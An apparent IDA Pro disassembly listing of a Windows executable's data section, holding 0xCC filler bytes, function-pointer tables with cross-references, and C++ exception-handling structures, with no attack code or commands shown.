		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 3BBh	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset byte_436860	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409B60+4o
					; sub_409BC0+Bo ...
off_43E014	dd offset sub_402027	; DATA XREF: sub_40AE40+2o
					; sub_40AE90+1Co
		dd offset byte_436860
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B198o
					; sub_40B1F0+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B846r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F670+157o
					; sub_40FE10+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F670+142o
					; sub_40FE10+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_4118D0+36o
					; sub_411980+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:004131FDo
					; sub_413290+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416CA0+6o
					; sub_417E90+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416D00+6o
					; sub_417EC0+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416D60o sub_41FC70+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416DB0o
					; sub_419150+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417C60+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417D00+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417DD0+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417EF0+7Bo
off_43E088	dd offset sub_40202C	; DATA XREF: sub_417FB0+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_418070+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418120+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_4181A0+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418220+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_418250+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_4182D0+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418300+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418330+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_419960+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A0B0+Bo
					; sub_41A1B0+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41B080+Do sub_41B0E0o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B442o
					; ___:0041B52Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D710+77o
					; sub_41D800+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_4264E0+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_426550+6Ao
					; sub_4265F0+1Do
		dd offset sub_401A64
		dd offset byte_436860
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_426A30+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426F40+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427620+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427E50+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427EC0+7Ao
					; sub_427F80+1Do
		dd offset sub_4021A8
		dd offset byte_436860
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_4281F0+4Bo
					; sub_4282E0+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_429A50+32o
					; sub_429AF0+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D90+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A120+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B260+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_436860	; DATA XREF: sub_42B2D0+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B3A2o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B510+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_4368A1	; DATA XREF: ___:00436898o
					; ___:off_443878o ...
dword_43E1D8	dd 0FFFFFFFFh, 436C3Ch,	436C50h, 4Dh dup(0)off_43E318	dd offset off_446C90	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446C90
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437BBCh,	0
		dd offset dword_437060+0B30h
		dd 1, 437B9Bh, 2, 437BA6h, 3, 437BB1h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437C00h,	0
		dd offset loc_437C0B
		dd 1, 437C16h, 2, 437C24h, 3, 437C32h, 4, 437C40h, 5, 437C4Eh
		dd 6, 437C5Ch, 7, 437C6Ah, 8, 437C78h, 9, 437C86h, 0Ah
		dd 437C94h, 0Bh, 437CA2h, 0Ch, 437CB0h,	0Dh, 437CBEh, 0Eh
		dd 437CCCh, 0Fh, 437CDAh, 10h, 437CE8h,	11h, 437CF6h, 12h
		dd 437D04h, 13h, 437D12h, 14h, 437D20h,	15h, 437D2Eh, 16h
		dd 437D3Ch, 17h, 437D4Ah, 18h, 437D58h,	19h, 437D66h, 1Ah
		dd 437D74h, 1Bh, 437D82h, 1Ch, 437D90h,	1Dh, 437D9Eh, 1Eh
		dd 437DACh, 1Fh, 437DBAh, 20h, 437DC8h,	21h, 437DD6h, 22h
		dd 437DE4h, 23h, 437DF2h, 24h, 437E00h,	25h, 437E0Eh, 26h
		dd 437E1Ch, 27h, 437E2Ah, 28h, 437E38h,	29h, 437E46h, 2Ah
		dd 437E54h, 2Bh, 437E62h, 2Ch, 437E70h,	2Dh, 437E7Eh, 2Eh
		dd 437E8Ch, 2Fh, 437E9Ah, 30h, 437EA8h,	31h, 437EB6h, 32h
		dd 437EC4h, 33h, 437ED2h, 34h, 437EE0h,	35h, 437EEEh, 36h
		dd 437EFCh, 37h, 437F0Ah, 38h, 437F18h,	39h, 437F26h, 3Ah
		dd 437F34h, 3Bh, 437F42h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 438030h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 438050h,	0
		dd offset loc_438058
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 438080h,	0
		dd offset loc_438088
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 4380B0h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 4380D0h,	0
		dd offset loc_4380D8
		dd 1, 4380E3h, 2, 4380F1h, 3, 4380FFh, 4, 43810Dh, 5, 43811Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 438150h,	0
		dd offset loc_438158
		dd 1, 438163h, 2, 438171h, 3, 43817Fh, 4, 43818Dh, 5, 43819Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 4381D0h,	0FFFFFFFFh, 4381D8h, 0FFFFFFFFh
		dd 4381E0h, 0FFFFFFFFh,	4381E8h, 0FFFFFFFFh, 4381F0h, 0FFFFFFFFh
		dd 4381F8h, 0FFFFFFFFh,	438200h, 0FFFFFFFFh, 438208h, 0FFFFFFFFh
		dd 438210h, 0FFFFFFFFh,	438218h, 0FFFFFFFFh, 438220h, 0FFFFFFFFh
		dd 438228h, 0FFFFFFFFh,	438230h, 0FFFFFFFFh, 438238h, 0FFFFFFFFh
		dd 438240h, 0Eh, 438248h, 0Eh, 438250h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438290h,	0
		dd offset loc_438298
		dd 0FFFFFFFFh, 4382A0h,	2, 4382A8h, 0FFFFFFFFh,	4382B0h
		dd 0FFFFFFFFh, 4382B8h,	0FFFFFFFFh, 4382C0h, 0FFFFFFFFh
		dd 4382C8h, 7, 4382D3h,	7, 4382DBh, 9, 4382E3h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438310h,	0
		dd offset loc_43831B
		dd 0
		dd offset loc_438326
		dd 0FFFFFFFFh, 438331h,	0FFFFFFFFh, 43833Ch, 4,	438347h
		dd 0FFFFFFFFh, 438352h,	6, 43835Dh, 6, 438368h,	8, 438373h
		dd 0FFFFFFFFh, 43837Eh,	0Ah, 438389h, 0Ah, 438394h, 0Ah
		dd 43839Fh, 0Ah, 4383AAh, 0Ah, 4383B5h,	0Ah, 4383C0h, 0FFFFFFFFh
		dd 4383CBh, 11h, 4383D6h, 11h, 4383E1h,	0FFFFFFFFh, 4383ECh
		dd 0FFFFFFFFh, 4383F7h,	15h, 438402h, 0FFFFFFFFh, 43840Dh
		dd 0FFFFFFFFh, 438418h,	18h, 438423h, 0FFFFFFFFh, 43842Eh
		dd 0FFFFFFFFh, 438439h,	0FFFFFFFFh, 438444h, 0FFFFFFFFh
		dd 43844Fh, 1Dh, 43845Ah, 1Dh, 438465h,	1Dh, 438470h, 1Dh
		dd 43847Bh, 1Dh, 438486h, 22h, 438491h,	22h, 43849Ch, 22h
		dd 4384A7h, 22h, 4384B2h, 22h, 4384BDh,	22h, 4384C8h, 22h
		dd 4384D3h, 22h, 4384DEh, 22h, 4384E9h,	22h, 4384F4h, 22h
		dd 4384FFh, 22h, 43850Ah, 22h, 438515h,	22h, 438520h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 4385C8h,	0
		dd offset loc_4385C0
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43860Bh,	0
		dd offset loc_438600
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 438640h,	0
		dd offset loc_43864B
		dd 0
		dd offset loc_438656
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 438680h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 4386A0h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 4386C0h,	0
		dd offset loc_4386C8
		align 10h
dword_43ECF0	dd 19930520h, 57h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 4386E0h,	0
		dd offset loc_4386EB
		dd 1, 4386F6h, 2, 438701h, 3, 43870Ch, 4, 438717h, 5, 438722h
		dd 6, 43872Dh, 7, 438738h, 8, 438743h, 9, 43874Bh, 0Ah
